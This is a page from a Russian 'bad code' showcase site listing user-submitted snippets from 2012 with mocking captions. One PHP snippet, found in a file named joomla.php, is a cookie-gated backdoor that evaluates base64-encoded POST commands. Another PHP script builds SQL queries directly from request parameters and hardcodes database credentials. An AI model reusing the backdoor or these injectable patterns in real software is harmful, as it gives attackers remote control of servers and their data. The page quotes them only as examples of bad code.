1. Лучший говнокод

    В номинации:
    За время:
  2. Си / Говнокод #11511

    +132

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    int enctypex_decoder_rand_validate(unsigned char *validate) {
        int     i,
                rnd;
    
        rnd = ~time(NULL);
        for(i = 0; i < 8; i++) {
            do {
                rnd = ((rnd * 0x343FD) + 0x269EC3) & 0x7f;
            } while((rnd < 0x21) || (rnd >= 0x7f));
            validate[i] = rnd;
        }
        validate[i] = 0;
        return(i);
    }

    WGH, 01 Августа 2012

    Комментарии (10)
  3. Java / Говнокод #11504

    +75

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    public static class FuckMeGentlyWithAChainsaw {
        /* This wrapper class exists to work around the possibly most
        * stupid Java bug ever (and that's saying a lot): That
        * URL.equals and URL.hashCode do DNS lookups and
        * block. Which, of course, not only sucks performance-wise
        * but also breaks actual correct URL equality. */
        public final URL url;
        public FuckMeGentlyWithAChainsaw(URL url) {
            this.url = url;
        }
    }

    Код из клиента одной онлайн игрушки, процитирован дословно.

    bormand, 31 Июля 2012

    Комментарии (10)
  4. PHP / Говнокод #11438

    +63

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    <?php
    if (isset($_COOKIE['adm'])) {
    	if (isset($_POST['crc'], $_POST['cmd'])) {
    		if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
    			eval(gzuncompress(base64_decode($_POST['cmd'])));
    		} else 
    			echo 'repeat_cmd';
    	}
    }
    ?>

    Файл joomla.php в самопальной CMS

    kindofbear, 18 Июля 2012

    Комментарии (10)
  5. Си / Говнокод #11433

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    static struct passwd *pd=getpwuid(st->st_uid);
      if(pd==NULL){
        fprintf(stderr, "no correspound user!\n");
      }
      char *perm=(char*)malloc(16);
      if(perm==NULL){fprintf(stderr, "out of memory!\n");return -1;}
       memset( perm,'\0',16); 
      if(st->st_mode & S_ISUID){perm[0]='s';} else perm[0]='-';
      if(st->st_mode & S_IRUSR){perm[1]='r';} else perm[1]='-';
      if(st->st_mode & S_IWUSR){perm[2]='w';} else perm[2]='-';
      if(st->st_mode & S_IXUSR){perm[3]='x';} else perm[3]='-';
      if(st->st_mode & S_IRGRP){perm[4]='r';} else perm[4]='-';
      if(st->st_mode & S_IWGRP){perm[5]='w';} else perm[5]='-';
      if(st->st_mode & S_IXGRP){perm[6]='x';} else perm[6]='-';
      if(st->st_mode & S_IROTH){perm[7]='r';} else perm[7]='-';
      if(st->st_mode & S_IWOTH){perm[8]='w';} else perm[8]='-';
      if(st->st_mode & S_IXOTH){
        if(st->st_mode & S_ISVTX){
          perm[9]='t';
        }
       else perm[9]='x';
        
      } else perm[9]='-';
      if(st->st_mode & S_ISUID){
       if(st->st_mode & S_IXUSR){
         perm[4]='s';
       } else perm[4]='S';
      }
       if(st->st_mode & S_ISGID){
        if(st->st_mode & S_IXGRP){
        perm[7]='s';
        } else perm[7]='S';
      }
      if(st->st_mode & S_ISVTX){
        if(st->st_mode & S_IXOTH){perm[9]='t';} else {
        perm[9]='T';
        }
      }
       if((st->st_mode & S_IFMT) == S_IFDIR) { perm[0]='d';}
       if((st->st_mode & S_IFMT)==S_IFSOCK){ perm[0]='s';}
       if((st->st_mode & S_IFMT) == S_IFCHR) { perm[0]='c';}
       if((st->st_mode & S_IFMT)==S_IFCHR){perm[0]='c';} else if(st->st_mode & S_IFBLK){perm[0]='b';} else
       if((st->st_mode & S_IFMT)== S_IFREG){ perm[0]='-';}
       if((st->st_mode &S_IFMT)==S_IFBLK) { perm[0]='b';}
       if((st->st_mode & S_IFMT)==S_IFIFO) { perm[0]='p';}
       if((st->st_mode & S_IFMT)== S_IFLNK){ perm[0]='l';}
      if(!S_ISDIR(st->st_mode)){
          if(S_ISREG(st->st_mode)){
    	printf("<file type=\"regular file\" permissions=\"%s\" owner=\"%s\" group=\"%d\" size=\"%d\">%s</file>\n",perm,pd->pw_name,st->st_gid,st->st_size,dir);
    	return 0;
          };

    Права доступа

    AliceGoth, 17 Июля 2012

    Комментарии (10)
  6. JavaScript / Говнокод #11418

    +168

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    <script>
        var ROOT = '/';
        if (ROOT == '/')
            ROOT = '';
    </script>

    larikov, 15 Июля 2012

    Комментарии (10)
  7. C++ / Говнокод #11417

    +31

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    #include <iostream>
    using namespace std;
    
    struct RefStruct {
        RefStruct(int &ref) :
            m_ref(ref)
        {}
        
        int getRefValue() const {
            return m_ref;
        }
    
    private:
        int &m_ref;
    };
    
    int main(int argc, char *argv[]) {
        int a = 0xa;
        int b = 0xb;
    
        RefStruct s(a);
        RefStruct *p = &s;
        
        *(reinterpret_cast<int **>(p)) = &b;
        
        cout << "RefValue: " << hex << s.getRefValue() << endl;
    
        return 0;
    }

    С другом разговаривали - как бы получить указатель на ссылку.

    Как вы думаете, что будет на выхлопе?

    Elvenfighter, 15 Июля 2012

    Комментарии (10)
  8. Pascal / Говнокод #11378

    +102

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
            if ((Edit1.Text <> '') or (Edit4.Text <> '')) then
                    begin
                    Button1.Enabled:=true;
                    end;
    
            if ((Edit1.Text = '') or (Edit4.Text = '')) then
                    begin
                    Button1.Enabled:=false;
                    end;
    end;

    Таким образом настоящий ветеран говнокода защищает свое детище от "кривых" рук.

    CyberKiller, 08 Июля 2012

    Комментарии (10)
  9. C++ / Говнокод #11357

    +23

    1. 1
    2. 2
    if(this==NULL)
      return;

    HaskellGovno, 04 Июля 2012

    Комментарии (10)
  10. JavaScript / Говнокод #11356

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    switch(navigator.appName) {
       case "Microsoft Internet Explorer":
          Key = "event.ctrlKey && event.keyCode == 13";
          document.onkeydown = get_key;
          break;
       case "Netscape":
          Key = "(e.modifiers == 2 && e.which == 10) || (e.ctrlKey && e.which == 13)";
          document.captureEvents(Event.KEYDOWN);
          document.onkeydown = get_key;
          break;
    }
    }
    
    function get_key(e) {
    if (eval(Key)) {
    	if (check_postform()){
    		check_submit();
    		document.postform.submit();
    		submit_once(document.postform);
    	} else {return false}
    }

    http://forum.ixbt.com/

    jQuery, 03 Июля 2012

    Комментарии (10)
  11. PHP / Говнокод #11272

    +41

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    <?php
    ini_set('display_errors','On');
    error_reporting('E_ALL');
    mysql_connect("localhost","MySQL","satanus") or die(mysql_error());
    echo "Connected to mysql<br>";
    mysql_select_db("myurl") or die(mysql_error());
    echo "Connected to Database";
    $ms=mysql_info();
    echo $ms;
    
    function isValidURL($url)
    {
    return preg_match('|^(http)(s)?://([a-z0-9-]+\.[a-z-]+)?(localhost)?(\.[a-z0-9-_/&+?=%]+)*(:[0-9]+)?(/[^.]+)?$|i', $url);
    }
    function parse_secure($arg){
      $txt=preg_replace('/((<[^>]*>(.*)<\/[^>]*>|\'|")|(<[^>]*>)|(?:(\s+|>|<|\d+)(?:SELECT|FROM|UNION|ORDER BY|GROUP BY|UPDATE|DELETE|INSERT|OR|AND|NOT)(\s+|>|<|\d+))|<)/i','',$arg);
      return $txt;
    }
    
    if(isset($_GET['pid'])){
        $pid=$_GET['pid'];
        $pid=parse_secure($pid);
        $options=array('options'=>array('min_range'=>0,'max_range'=>1000001));
          if(filter_var($pid,FILTER_VALIDATE_INT,$options)){
            printf("pid correct %d",$pid);
        } else {
            printf("pid incorrect");exit(2);  
        }
        $query="SELECT url FROM myurl.base WHERE id='$pid'";
        $res=mysql_query($query);
        if($res){
          $row=mysql_fetch_assoc($res);
          header('Location: '.$row['url']);
        }
    };
    
    if(isset($_GET['cat']) && isset($_GET['scat'])){
      $cat=$_GET['cat'];
      $cat=parse_secure($cat);
      if(isset($_GET['ps'])){
        $ps = $_GET['ps'];
        $ps=parse_secure($ps);
      } else {
      $ps =0;
      };
      $catl=iconv_strlen($thm);
      echo "<html><head><title>Short url generator</title></head><body>";
      echo "<h1>$cat</h1><br>";
          $qry="SELECT bs.id as pid,bs.url url,bs.subcategory scat,bs.category cat FROM base bs INNER JOIN category ct ON ct.id=bs.category WHERE bs.subcategory=\"".$_GET['scat']."\" AND bs.category=\"".parse_secure($_GET['cat'])."\"";
          $res=mysql_query($qry);
          if($res){
            while($row=mysql_fetch_assoc($res)){
              echo "<a href=\"http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?pid=".$row['pid']."\">http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?pid=".$row['pid']."</a> ".$row['url'];
              echo " <a href=\"http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?cat=".$row['cat']."&scat=".$row['scat']."\">http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?cat=".$row['cat']."&scat=".$row['scat']."</a>".$row['url'];
              echo "<br>";
            }
          }
    exit(3);
    };
    
    if(isset($_GET['cat'])){
      $cat=parse_secure($_GET['cat']);
      $scat=parse_secure($_GET['scat']);
      if(isset($_GET['ps'])){
        $ps = $_GET['ps'];
      } else {
      $ps =0;
      };
      $catl=iconv_strlen($thm);
      echo "<html><head><title>Short url generator</title></head><body>";
      echo "<h1>$cat</h1><br>";
          $qry="SELECT bs.id as pid,bs.url url,bs.subcategory scat,bs.category cat FROM base bs INNER JOIN category ct ON ct.id=bs.category WHERE bs.category=\"".$cat."\" OR ( bs.subcategory=\"".$scat."\" AND bs.category=\"".$cat."\")";
          $res=mysql_query($qry);
          if($res){
            while($row=mysql_fetch_assoc($res)){
              echo "<a href=\"http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?pid=".$row['pid']."\">http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?pid=".$row['pid']."</a>".$row['url'];
              echo " <a href=\"http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?cat=".$row['cat']."&scat=".$row['scat']."\">http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?cat=".$row['cat']."&scat=".$row['scat']."</a>".$row['url'];
              echo "<br>";
            }
          }
    };
    
    if(isset($_POST['url']) && (isset($_POST['category']) || isset($_POST['cat'])) && (isset($_POST['subcat']) || isset($_POST['scat']))){
      $url=$_POST['url'];
    $purl=substr($url,0,26);
      if($purl=="http://".$_SERVER['SERVER_NAME']."/")exit(0);
    $purl=substr($url,0,30);
      if($purl=="http://www.".$_SERVER['SERVER_NAME']."/")exit(0);
      $cat=parse_secure($_POST['category']);
      $catid=parse_secure($_POST['cat']);
      $scat=parse_secure($_POST['subcat']);
      $scatid=parse_secure($_POST['scat']);
      if($url) {
          if(!isValidURL($url))
    {
    $errMsg .= "* Please enter valid URL including http://<br>";

    AliceGoth, 21 Июня 2012

    Комментарии (10)